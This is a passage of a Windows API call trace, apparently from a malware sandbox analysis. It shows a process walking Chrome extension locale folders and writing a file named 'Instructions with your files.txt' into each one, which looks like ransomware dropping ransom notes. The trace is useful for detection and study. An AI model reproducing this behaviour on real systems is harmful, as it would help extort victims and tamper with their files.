[0129.937] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8272da30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8272da30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.937] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\Instructions with your files.txt") returned 178
[0129.937] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.937] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.938] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.938] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.938] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.938] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.939] CloseHandle (hObject=0x134) returned 1
[0129.939] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.939] GetProcessHeap () returned 0x810000
[0129.939] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.939] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827412b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827439c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827439c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
[0129.939] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr") returned 145
[0129.939] GetProcessHeap () returned 0x810000
[0129.939] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.939] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\*") returned 147
[0129.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827412b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827439c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827439c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.940] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\.") returned 147
[0129.940] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827412b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827439c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827439c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.940] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\..") returned 148
[0129.940] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827439c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827460d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x279, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.940] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\messages.json") returned 159
[0129.940] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.940] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827439c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827460d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x279, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.940] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\Instructions with your files.txt") returned 178
[0129.940] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.940] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.941] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.941] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.941] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.942] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.942] CloseHandle (hObject=0x134) returned 1
[0129.942] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.942] GetProcessHeap () returned 0x810000
[0129.942] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.942] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8274aef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8274d600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8274d600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
[0129.942] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu") returned 145
[0129.942] GetProcessHeap () returned 0x810000
[0129.942] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.942] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\*") returned 147
[0129.942] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8274aef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8274d600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8274d600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.942] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\.") returned 147
[0129.942] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8274aef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8274d600, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8274d600, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.942] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\..") returned 148
[0129.942] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8274d600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8274fd10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.942] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json") returned 159
[0129.942] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.942] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8274d600, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8274fd10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.942] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\Instructions with your files.txt") returned 178
[0129.943] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.943] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.944] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.944] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.944] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.944] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.944] CloseHandle (hObject=0x134) returned 1
[0129.944] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.944] GetProcessHeap () returned 0x810000
[0129.944] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.944] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82752420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82752420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
[0129.944] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id") returned 145
[0129.944] GetProcessHeap () returned 0x810000
[0129.944] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.944] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\*") returned 147
[0129.944] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82752420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82752420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.945] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\.") returned 147
[0129.945] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82752420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82752420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.945] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\..") returned 148
[0129.945] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82752420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.945] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json") returned 159
[0129.945] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.946] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82752420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82752420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.946] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\Instructions with your files.txt") returned 178
[0129.946] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.946] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.947] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.947] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.947] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.947] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.947] CloseHandle (hObject=0x134) returned 1
[0129.947] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.947] GetProcessHeap () returned 0x810000
[0129.947] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.947] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82759950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8275c060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8275c060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
[0129.947] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it") returned 145
[0129.948] GetProcessHeap () returned 0x810000
[0129.948] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
